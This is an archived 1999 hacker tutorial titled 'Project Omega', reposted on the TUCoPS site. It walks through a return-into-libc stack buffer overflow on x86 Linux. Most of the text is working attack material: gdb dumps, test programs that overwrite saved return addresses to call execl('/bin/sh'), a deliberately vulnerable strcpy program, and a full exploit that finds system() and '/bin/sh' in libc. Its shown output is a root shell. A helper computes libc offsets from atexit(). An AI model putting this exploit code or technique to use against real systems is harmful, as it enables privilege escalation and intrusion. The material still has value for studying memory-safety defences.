Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Unix :: General :: omega.txt

Project Omega - the omega exploit




			The OMEGA project finished
		    +=+-+=+-+=+-+=+-+=+-+=+-+=+-+=+-+=
			By lamagra <lamagra@uglypig.org>


---[ Flashback

In my previous paper, i explained why and a little bit about how.
There were some difficulties:
	o sending arguments to the system() call.
	  (we fixed this using an other program to link the garbage to a shell.)


---[ Examination of a program flow

We take this little example program to examine the flow.

<++> omega/example.c
void foo(char *bla)
{
  printf("I got passed %p\n",bla);
}

void main()
{
     foo("fubar");
}
<--> 

We compile and fire up gdb.

darkstar:~/omega$ gcc example.c -o example
darkstar:~/omega$ gdb example

GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-slackware-linux"...
(gdb) disassemble main
Dump of assembler code for function main:
0x8048594 <main>:	pushl  %ebp
0x8048595 <main+1>:	movl   %esp,%ebp
0x8048597 <main+3>:	pushl  $0x8049099
0x804859c <main+8>:	call   0x804857c <foo>
0x80485a1 <main+13>:	addl   $0x4,%esp
0x80485a4 <main+16>:	movl   %ebp,%esp
0x80485a6 <main+18>:	popl   %ebp
0x80485a7 <main+19>:	ret    
End of assembler dump.
(gdb) x/5bc 0x8049099
0x8049099 <_fini+25>:	102 'f'	117 'u'	98 'b'	97 'a'	114 'r'
(gdb) disassemble foo
Dump of assembler code for function foo:
0x804857c <foo>:	pushl  %ebp
0x804857d <foo+1>:	movl   %esp,%ebp
0x804857f <foo+3>:	movl   0x8(%ebp),%eax
0x8048582 <foo+6>:	pushl  %eax
0x8048583 <foo+7>:	pushl  $0x8049088
0x8048588 <foo+12>:	call   0x8048400 <printf>
0x804858d <foo+17>:	addl   $0x8,%esp
0x8048590 <foo+20>:	movl   %ebp,%esp
0x8048592 <foo+22>:	popl   %ebp
0x8048593 <foo+23>:	ret    
End of assembler dump.
(gdb) quit
darkstar:~/omega$


We notice the address of our "fubar" string getting pushed on the stack
at 0x8048597. After that the foo function is called (0x804859c). 
After initialisation foo() loads the pushed address into the eax register
as we can see at 0x804857f. The address is located on 0x8(%ebp), ebp is
the current stack pointer. 

---[ Implementation

With the previous in mind we write a small test program.

<++> omega/test.c
/* 
 * A small test program for project "omega"
 * Lamagra <lamagra@uglypig.org>
 */ 

foo(char *bla)
{
  printf("foo: %p\n",bla);
  printf("foo: %s \n",bla);
}


main()
{
  char bla[8];
  char *shell = "/bin/sh";
  long addy = 0x41414141;

  printf("foo = 0x%x\n",(long)&foo);
  printf("bla = 0x%x\n",(long)&bla);
  printf("shell = 0x%x\n",shell);
  
  *(long *)&bla[0] = addy;   /* buffer */
  *(long *)&bla[4] = addy;   /* buffer */
  *(long *)&bla[8] = addy;   /* saved ebp */
  *(long *)&bla[12] = &foo;  /* saved eip */
  *(long *)&bla[16] = addy;  /* Junk */
  *(long *)&bla[20] = shell; /* address of the arg */
}
<-->

The comment explain the use pretty clear, so read them.
Afterwards compile and run.

darkstar:~/omega$ gcc test.c -otest
darkstar:~/omega$ test
foo = 0x804857c
bla = 0xbffffb08
shell = 0x8049111
foo: 0x8049111
foo: /bin/sh
segmentation fault
darkstar:~/omega$ 

The foo function gets called and its argument is placed correctly.
But after execution it segfaults, let's debug it and find out why.

darkstar:~/omega$ gdb test

GNU gdb 4.17
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-slackware-linux"...
(gdb) break *foo
Breakpoint 1 at 0x804857c
(gdb) run
Starting program: /tmp/omega/hello 
foo = 0x804857c
bla = 0xbffffb10
shell = 0x8049111

Breakpoint 1, 0x804857c in foo ()
(gdb) x/10wx 0xbffffb10
0xbffffb10:	0x41414141	0x41414141	0x41414141	0x0804857c
0xbffffb20:	0x41414141	0x08049111	0xbffffb44	0x00000000
0xbffffb30:	0x00000000	0x00000000
(gdb) c
Continuing.
foo: 0x8049111
foo: /bin/sh

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info reg ebp
ebp            0x41414141	0x41414141
(gdb) info reg esp
esp            0xbffffb24	0xbffffb24
(gdb) quit
The program is running.  Exit anyway? (y or n) y
darkstar:~/omega$ 

The dumb of buffer "bla" shows our intentions very clearly.
The segfault happens because the program tries to execute 0x41414141.
That address is at 0xbffffb20. When returning from foo() ebp and eip are
poped from the stack at the location pointed to by esp. 
If we wanted to put right the segfault, we could put an other address in
there (eg. exit()), so it has a clean exit.

Apply this patch to fix it (patch test.c test.patch).

<++> omega/test.patch
--- old.c	Wed Oct  6 18:49:07 1999
+++ test.c	Wed Oct  6 18:49:25 1999
@@ -19,6 +19,6 @@
   *(long *)&bla[4] = addr;   /* buffer */
   *(long *)&bla[8] = addr;   /* saved ebp */
   *(long *)&bla[12] = &foo;  /* saved eip */
-  *(long *)&bla[16] = addr;  /* Junk */
+  *(long *)&bla[16] = &exit; /* exit() */
   *(long *)&bla[20] = shell; /* address of the arg */
 }
<-->

Same thing can be done for multiple arguments.
0x8(%ebp)  = arg[1]
0xc(%ebp)  = arg[2]
0x10(%ebp) = arg[3]
and so on.

<++> omega/multiple.c
#include <stdlib.h>
#include <unistd.h>

main()
{
  char bla[8];
  char *shell = "/bin/sh";
  long addr = 0x41414141;

  printf("bla = 0x%x\n",(long)&bla);
  printf("shell = 0x%x\n",shell);
  
  *(long *)&bla[0]  = addr;   /* buffer */
  *(long *)&bla[4]  = addr;   /* buffer */
  *(long *)&bla[8]  = addr;   /* saved ebp */
  *(long *)&bla[12] = &execl; /* saved eip */
  *(long *)&bla[16] = &exit;  /* exit() */
  *(long *)&bla[20] = shell;  /* arg[1] */
  *(long *)&bla[24] = shell;  /* arg[2] */
  *(long *)&bla[28] = 0x0;    /* arg[3] */
  /* 
   * Executes execl("/bin/sh","/bin/sh",0x0); 
   * On error exit("/bin/sh"); i know weird */
   */
}
<-->


Now we can exploit a bufferoverflow in a secure environement.
What about in the wild?

<++> omega/hole.c
/* 
 * The hole program.
 * Prints the address of system() in libc and overflows.
 */
#include <stdlib.h>
#include <dlfcn.h>

main(int argc, char **argv)
{
   char buf[8];
   long addr;
   void *handle;

   handle = dlopen(NULL,RTLD_LAZY);   
   addr = (long)dlsym(handle,"system");
   printf("System() is at 0x%x\n",addr);

   if(argc > 1) strcpy(buf, argv[1]);
}
<-->

<++> omega/exploit.c
/* 
 * The exploit
 * Finds the address of system() in libc.
 * Searches for "/bin/sh" in the neighbourhood of system().
 * (System() uses that string)
 * Lamagra <lamagra@uglypig.org>
 */ 

#include <stdlib.h>
#include <dlfcn.h>

main(int argc, char **argv)
{
   int x,size;
   char *buf;
   long addr,shell,exitaddy;
   void *handle;

   if(argc != 3){
	printf("Usage %s <bufsize> <program>\n",argv[0]);
	exit(-1);
   }
 
   size = atoi(argv[1])+16;
   if((buf = malloc(size)) == NULL){
	perror("can't allocate memory");
	exit(-1);
   }

   handle = dlopen(NULL,RTLD_LAZY);   
   addr = (long)dlsym(handle,"system");
   printf("System() is at 0x%x\n",addr);

   if(!(addr & 0xff) || !(addr & 0xff00) || 
      !(addr & 0xff0000) || !(addr & 0xff000000))
   {
	printf("system() contains a '0', sorry!");
	exit(-1);
   }

   shell = addr;
   while(memcmp((void*)shell,"/bin/sh",8)) 
	shell++;

   printf("\"/bin/sh\" is at 0x%x\n",shell);
   printf("print %s\n",shell);

   memset(buf,0x41,size);
   *(long *)&buf[size-16] = 0xbffffbbc;    
   *(long *)&buf[size-12] = addr; 
   *(long *)&buf[size-4]  = shell;    
   
   puts("Executing");

   execl(argv[2],argv[2],buf,0x0);
}
<-->

darkstar:~/omega$ gcc hole.c -ohole -ldl
darkstar:~/omega$ gcc omega.c -oomega -ldl
darkstar:~/omega$ omega 8 vun
System() is at 0x40043a18
"/bin/sh" is at 0x40089d26
print /bin/sh
Executing
System() is at 0x40043a18
bash# 

Looks like it works.
But as you may have noticed an extra library is linked for this methode.
That's why it doesn't work on programs that don't have that library
linked: because the location of system() is different.

There are other methodes to get the correct address:

	o Changing the program to let it print out the address (more or
	  less the same) 
	
	o Getting the address from the ELF-headers. ( I think this doesn't
	  work on stripped files, solution recompile)

	o getting the address of atexit() (always available) and calculate
	  the address of system(). Check out included program.

---[ Extra

<++> omega/calc.c
#include <stdlib.h>
#include <unistd.h>

main(int argc, char **argv)
{
  long addy,diff;

  if (argc != 2)
  {
	printf("Usage: %s <addy of atexit>\n",argv[0]);
	printf("Get the address with GDB\n\t$ echo x atexit|gdb program\n");
	exit(-1);
  }

  addy = strtoul(argv[1],0,0);
  printf("Input = 0x%x\n",addy);

  diff = (long)&atexit - (long)&system;
  printf("system() = 0x%x\n",addy - diff + 16); 
}
<-->
---[ Reference

  my previous paper in corezine #2 (http://bounce.to/unah16)


---[EOF



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH